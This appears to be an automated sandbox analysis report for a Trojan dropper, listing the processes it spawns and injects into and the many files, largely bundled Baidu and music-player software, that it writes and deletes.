Trojan.GenericKD.1780278_fb4f8f36fd

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

wwwww_3340.exe:3720
vcredist_x86.exe:2720
netsh.exe:3112
bddownloader.exe:2984
guagua_77150006814.exe:1016
sc.exe:1336
sc.exe:644
BDDownloader.exe:2084
BDDownloader.exe:2804
MsiExec.exe:3196
candid.exe:1548
pczh_107_306.exe:828
baiduanTray.exe:2772
spkjrjp_30279.exe:1632
yymusic05.exe:2308
regsvr32.exe:3184
BDALeakfixer.exe:3640
BaiduAn.exe:3516
BaiduAn.exe:3208
BaiduAnSvc.exe:3884
BaiduAnSvc.exe:3732
oovmdw_70745.exe:444
BDASWAcc.exe:316

The Trojan injects its code into the following process(es):

bddownloader.exe:3936
bddownloader.exe:2820
%original file name%.exe:188
YFMSever.exe:2388
Ainqngz5.2.exe:1136
services.exe:756

Mutexes

The following mutexes were created/opened:

ShimCacheMutex

File activity

The process wwwww_3340.exe:3720 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Start Menu\Programs\yyfm0529\yyfm0529.lnk (840 bytes)
%Program Files%\yyfm0529\2014081705\Data\version.ini (32 bytes)
%Program Files%\yyfm0529\2014081705\swresample-0.dll (3312 bytes)
%Program Files%\yyfm0529\2014081705\Data\user2.ini (40 bytes)
%Program Files%\yyfm0529\2014081705\yymusic05.exe (63950 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\yyfm0529\¹Ù·½Ö÷Ò³.lnk (334 bytes)
%Program Files%\yyfm0529\2014081705\audio.dll (3616 bytes)
%Program Files%\yyfm0529\2014081705\pthreadGC2.dll (3616 bytes)
%Program Files%\yyfm0529\2014081705\avutil-52.dll (5520 bytes)
%Program Files%\yyfm0529\2014081705\Data\client.ini (36 bytes)
%Program Files%\yyfm0529\2014081705\favorfm.xml (440 bytes)
%Program Files%\yyfm0529\2014081705\DuiLib.dll (16288 bytes)
%Program Files%\yyfm0529\2014081705\Data\setup.ini (110 bytes)
%Program Files%\yyfm0529\2014081705\Data\dh.ini (56 bytes)
%Program Files%\yyfm0529\2014081705\channels.xml (784 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\yyfm0529\ÅäÖù¤¾ß\жÔØyyfm0529.lnk (830 bytes)
%Program Files%\yyfm0529\2014081705\libav.dll (6360 bytes)
%Program Files%\yyfm0529\2014081705\Unins.exe (9608 bytes)
%Program Files%\yyfm0529\2014081705\YFMSever.exe (23936 bytes)
%Program Files%\yyfm0529\2014081705\avcore.dll (2392 bytes)
%Program Files%\yyfm0529\2014081705\avcodec-54.dll (23936 bytes)
%Program Files%\yyfm0529\2014081705\source.dll (6584 bytes)
%Program Files%\yyfm0529\2014081705\SysConfig.ini (256 bytes)
%Program Files%\yyfm0529\2014081705\avformat-54.dll (12536 bytes)

The process vcredist_x86.exe:2720 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\IXP000.TMP\vcredis1.cab (6255 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\IXP000.TMP\vcredist.msi (42423 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\IXP000.TMP\vcredis1.cab (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\IXP000.TMP\vcredist.msi (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\IXP000.TMP\crt.log (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\IXP000.TMP (0 bytes)

The process bddownloader.exe:2820 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers\BDMWrench.sys.tmp.bdl (6441 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\dnw.xml.tmp.bdl (241 bytes)

The process guagua_77150006814.exe:1016 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1J6GZEWA\desktop.ini (67 bytes)

The process %original file name%.exe:188 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsi3.tmp\NSISdl.dll (14 bytes)
%Program Files%\updatr\tj.txt (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst2.tmp (57025 bytes)
%Program Files%\updatr\oovmdw_70745.exe (51840 bytes)
%Program Files%\updatr\uboskin\config.ini (290 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi3.tmp\pczh_107_306.exe (57056 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi3.tmp\adwoca_00005.exe (4626 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi3.tmp\wwwww_3340.exe (413400 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi3.tmp\spkjrjp_30279.exe (230878 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi3.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi3.tmp\guagua_77150006814.exe (106373 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi3.tmp\sha (1 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsd1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi3.tmp\tqrlsimp27_dubo_001.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi3.tmp (0 bytes)

The process YFMSever.exe:2388 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Application Data\cb16fabc\DMSet.Xml (675 bytes)

The process BDDownloader.exe:2084 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Program Files%\Common Files\Baidu\BDDownload\107\bddownloader.exe (9605 bytes)
%Program Files%\Common Files\Baidu\BDDownload\107\7z.dll (2105 bytes)
%Program Files%\Common Files\Baidu\BDDownload\107\dl.dll (14988 bytes)
%Program Files%\Common Files\Baidu\BDDownload\107\bdcomproxy.dll (601 bytes)

The process BDDownloader.exe:2804 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\BDDownloader_Installer\1.0.107.0[2014-8-17-5-21-45]\bdcomproxy.dll (2392 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst12.tmp (86466 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\BDDownloader_Installer\1.0.107.0[2014-8-17-5-21-45]\bddownloader.exe (41699 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\BDDownloader_Installer\1.0.107.0[2014-8-17-5-21-45]\dl.dll (65930 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\dl.dll (65930 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\BDDownloader_Installer\1.0.107.0[2014-8-17-5-21-45]\7z.dll (12536 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi13.tmp\System.dll (784 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsi13.tmp\System.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi13.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd11.tmp (0 bytes)

The process pczh_107_306.exe:828 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Start Menu\Programs\°®Çé.ÖÇ»Û.5.2\жÔØ.lnk (715 bytes)
%Program Files%\ainqngz5.2\candid.exe (5520 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\°®Çé.ÖÇ»Û.5.2\°®Çé.ÖÇ»Û.5.2.lnk (720 bytes)
%Program Files%\ainqngz5.2\uninstall.exe (5064 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd8.tmp (19409 bytes)
%Program Files%\ainqngz5.2\Ainqngz5.2.exe (4992 bytes)
%Program Files%\ainqngz5.2\schedule.exe (1552 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd9.tmp\NSISdl.dll (14 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd9.tmp\nsA.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd9.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd9.tmp\nsB.tmp (6 bytes)
%Documents and Settings%\%current user%\Desktop\°®Çé.ÖÇ»Û.5.2.lnk (708 bytes)
%Documents and Settings%\%current user%\Templates\172014852040460\YYM_955WD30.gif (1134 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd9.tmp\nsExec.dll (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd9.tmp\Base64.dll (4 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsd9.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd9.tmp\NSISdl.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd9.tmp\nsExec.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd9.tmp\System.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd9.tmp\nsB.tmp (0 bytes)
%Documents and Settings%\%current user%\Templates\172014852040460 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nso7.tmp (0 bytes)
%Documents and Settings%\%current user%\Templates\172014852040460\YYM_955WD30.gif (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd9.tmp\nsA.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd9.tmp\Base64.dll (0 bytes)

The process spkjrjp_30279.exe:1632 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsw1A.tmp\hu.dll (3312 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw1A.tmp\BDLogicUtils.dll (30968 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw1A.tmp\BDMSkin.dll (38495 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp (166951 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw1A.tmp\BDMDownload.dll (5520 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw1A.tmp\BDMNetGetInfo.dll (9608 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw1A.tmp\tmpt5zprs.dll (95827 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw1A.tmp\dl.dll (65930 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw1A.tmp\res\onlineWnd.zip (6360 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsr18.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw1A.tmp (0 bytes)

The process yymusic05.exe:2308 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\a[1].htm (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\stj[1].ashx (3 bytes)
%Program Files%\yyfm0529\2014081705\Data\server.ini (1 bytes)
%Program Files%\yyfm0529\2014081705\SysConfig.ini (440 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\tj[1].ashx (3 bytes)
%Program Files%\yyfm0529\2014081705\Data\user2.ini (402 bytes)
%Program Files%\yyfm0529\2014081705\Data\client.ini (42 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\ver[1].txt (36 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\stj[1].ashx (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\a[1].htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\tj[1].ashx (0 bytes)

The process BaiduAnSvc.exe:3884 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%WinDir%\Temp\Cab16.tmp (54 bytes)
%System%\config\SYSTEM.LOG (7714 bytes)
%System%\config\software (95028 bytes)
%System%\config\SOFTWARE.LOG (76196 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\BaiduAn\white_list.db (145 bytes)
%System%\config\systemprofile\Application Data\Microsoft\CryptnetUrlCache\MetaData\2BF68F4714092295550497DD56F57004 (408 bytes)
%WinDir%\Temp\Cab14.tmp (54 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\BaiduAn\white_list.db-journal (512 bytes)
%WinDir%\Temp\Tar17.tmp (2712 bytes)
%System%\config\systemprofile\Application Data\Microsoft\CryptnetUrlCache\Content\2BF68F4714092295550497DD56F57004 (18 bytes)
%System%\drivers\BDEnhanceBoost.sys (48 bytes)
%System%\config\system (4478 bytes)
%System%\drivers\BDMWrench.sys (1346 bytes)
C:\$Directory (576 bytes)
%WinDir%\Temp\Tar15.tmp (2712 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\All Users\Application Data\Baidu\BaiduAn\BaiduAnCache.rptc (0 bytes)
%System%\drivers\BDMWrench.sys (0 bytes)
%WinDir%\Temp\Tar17.tmp (0 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers\BDMWrench.sys (0 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\BaiduAn\white_list.db-journal (0 bytes)
%WinDir%\Temp\Cab14.tmp (0 bytes)
%WinDir%\Temp\Cab16.tmp (0 bytes)
%WinDir%\Temp\Tar15.tmp (0 bytes)

The process oovmdw_70745.exe:444 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Program Files%\Baidu\BaiduAn\2.3.0.2225\BaiduAnTray.exe (9606 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmsusplugins\BDMNetMonSusPlugin.dll (3721 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\BDSWShellExt.dll (1720 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\RTPPlugins\BDMSOAccServicePlugin.dll (1859 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\bdmantivirus\BDMRepBase.dll (3897 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\sd\FileMon.dll (7972 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\KVCommonRes.rdb (109 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\SysFixer.rdb (87 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\BDMSWNestCore.dll (6428 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\BDMTray.rdb (20 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\百度卫士\百度卫士.lnk (823 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\BaiduAn\Patch\publish.db (32763 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\vcredist_x86.exe (17629 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmsafeplugins\BDMSysFixerPlugin.dll (5442 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\BDDownload\bddlp.bca (40 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\804.dat (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw6.tmp\BDMNetGetInfo.dll (11344 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw6.tmp\BDMSkin.dll (36698 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers\BDMNetMon_XP_x86.sys (601 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\ad.dll (6379 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\bdmantivirus\scan_mgr_config.dat (2 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\BaiduAnBugRpt.exe (6437 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\BDNetMisc.dll (67 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\BDLogicUtils.dll (3811 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\BDMStringUtils.dll (66 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\BaiduAnUpdate.exe (7972 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\SysOptDict.dat (4 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmsusplugins\SusPluginContainerConfig.xml (605 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSWManager\sw_property.dat (267 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers\x86\BDMNetMon_WIN7_x86.sys (94 bytes)
%System%\drivers\BDMNetMon.sys (601 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\SOHomePageCleanerConfig.dat (12 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\BDMUpdate.rdb (1630 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw6.tmp\BDMDownload.dll (5520 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\SOSilentCleanerConfig.dat (12 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers\x86\BDArKit.sys (91 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\SysAccLiveStrategy.dat (93 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers_back (4 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\app.ico (1623 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmtrayplugins\BDMSusPlugin.dll (3745 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\BDKVLogs.dll (7386 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\SOGarbageCleanerConfig.dat (12 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSWManager\sw_acc.dat (3 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmmainframeplugins\PluginSetup.xml (1 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\SysRepLib.dat (22 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Common\Global.db (100 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\NetService.ini (590 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\SOPluginCleanerConfig.dat (442 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\BDMSOManagerPlugins\BDMSOAcceleratorPlugin.dll (6424 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw5.tmp (111370 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSysFixer\SysFixer.dll (267 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\BaiduAn\BDMSOCleaner\SOGarbageConfig.xml (14 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\bdmantivirus\TrustAndIso.dll (262 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\LocalPluginInfo.xml (14 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\BDMCoolyPlugins\BDMSOAccCoolyPlugin.dll (1834 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Tips\win8_1_num_1_speed.png (15 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\SOTurbo.rdb (18 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\GCScriptBind.dll (3815 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\CommonRes.rdb (7386 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers\bd0002.sys (1281 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\SOCleanerPreScan.dat (1 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\PluginManager\PluginConfig.db (12289 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bdt\f2d00606824cd42a1c03eb9caa15e29f.bdt (631 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\BaiduAnSvc.exe (7972 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\BDMTips.rdb (183 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\BDMMsg.dll (49 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Tips\win8_1_num_2_speed.png (15 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSysFixer\SysFixerXMLScript.dat (2 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\BDDownload\bddl.bca.bak (2132 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmmainframeplugins\BDMSWManagerFrame.dll (3725 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\BaiduAn.exe (1683 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmmainframeplugins\{F5E93978-539C-476B-9A7B-B6C32025A557}.png (1 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmtrayplugins\TrayPluginContainerConfig.xml (1 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\BDMScriptVM.dll (213 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\hips.xml (1 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\BDMSetting.rdb (85 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw6.tmp\dl.dll (65930 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\BDDownloader.exe (7972 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw6.tmp\snczjmr.dll.bdl (386923 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\BDASWAcc.exe (46 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\BDMTinyXml.dll (181 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers_back\x86 (4 bytes)
%System%\drivers\bd0001.sys (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw6.tmp\BDLogicUtils.dll.bdl (46921 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw6.tmp\BDMNet.dll.bdl (32387 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\BDMSOLiveAccStrategyMgr.dll (107 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw6.tmp\res\onlineWnd.zip (14184 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\BDMMainFrame.dll (9606 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\SORegCleanerConfig.dat (900 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\SWManager.rdb (1812 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Tips\win8_1_minute_speed.png (15 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Desktop\Global.db (16 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers\x86\bd0001.sys (70 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\BDMSkin.dll (5442 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bdt\33f59beac1c942dd19f41a7fd30f3f9b.bdt (647 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw6.tmp\tmpjnmhqw.dll (27504 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\BDDownload\bddlp.bca.bak (32 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw6.tmp\snczjmr.dll (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bdt\68905108990c088c31aead3b6d1651be.bdt (519 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\SYSCleaner.dll (7386 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\SORegCleanerScript.dat (14 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\BDDownload\bddl.bca (5595 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\BDMUpdate.dll (3729 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\SOTraceConfig.xml (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bdt\a644398e96b2e49d735a01f51e447930.bdt (3 bytes)
%System%\drivers\bd0002.sys (1281 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\uninst.exe (9606 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\BDMCommon.dll (1609 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\BDCooly.dll (7386 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmpatcherplugins\BDMConnect.dll (7386 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\BDASoftmgr.exe (7386 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSysFixer\PluginManager.dll (6359 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\SOCleanerCheckItem.dat (1 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\BDAFileHelper.exe (7386 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers\BDMWrench.sys (833 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\SiteInspection.rdb (1868 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\bdmantivirus\kav_compatible.dat (25 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\bg_tips_speed_win8.png (4 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSWManager\sw_class_filter.db (5442 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\SOGarbageConfig.xml (14 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers\bd0001.sys (601 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers\x64\bd0002.sys (218 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\SysAccelerator.rdb (1742 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\bdmantivirus\BDKitUtils.dll (62 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSWManager\sw_repairproperty.dat (2 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmmainframeplugins\BDMSafePlugin.dll (6420 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmsafeplugins\BDMKVMainPlugin.dll (5442 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\bdmantivirus\virus_type.dat (485 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmmainframeplugins\MainframePluginContainerConfig.xml (1 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\bdmantivirus\BDMAVEng.dll (6420 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\GCCallbackBind.dll (24 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\bdmantivirus\BDMRepMgr.dll (3733 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\licenses\directui license.txt (593 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\SusPlugin.rdb (163 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\HotPlugins.xml (386 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSysFixer\SysFixerLuaScript.dat (145 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\BDMDownload.dll (324 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\GlobalPluginInfo.xml (25 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSWManager\sw_appassext.dat (2 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\bdmantivirus\blacksign.dat (537 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\BDMProcessRunningTime.dll (82 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw6.tmp\BDMNet.dll (1358 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\Skins\Default\BDMTray\TrayPlugin.rdb (3 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\FTSOManager\SOCleanerScript.dat (58 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\BDMBase.dll (5442 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\plugins\bdmkvscanplugin\BDMKVScanPluginContainerConfig.xml (380 bytes)
%Program Files%\Baidu\BaiduAn\2.3.0.2225\drivers\BDMNetMon_WIN7_x86.sys (601 bytes)
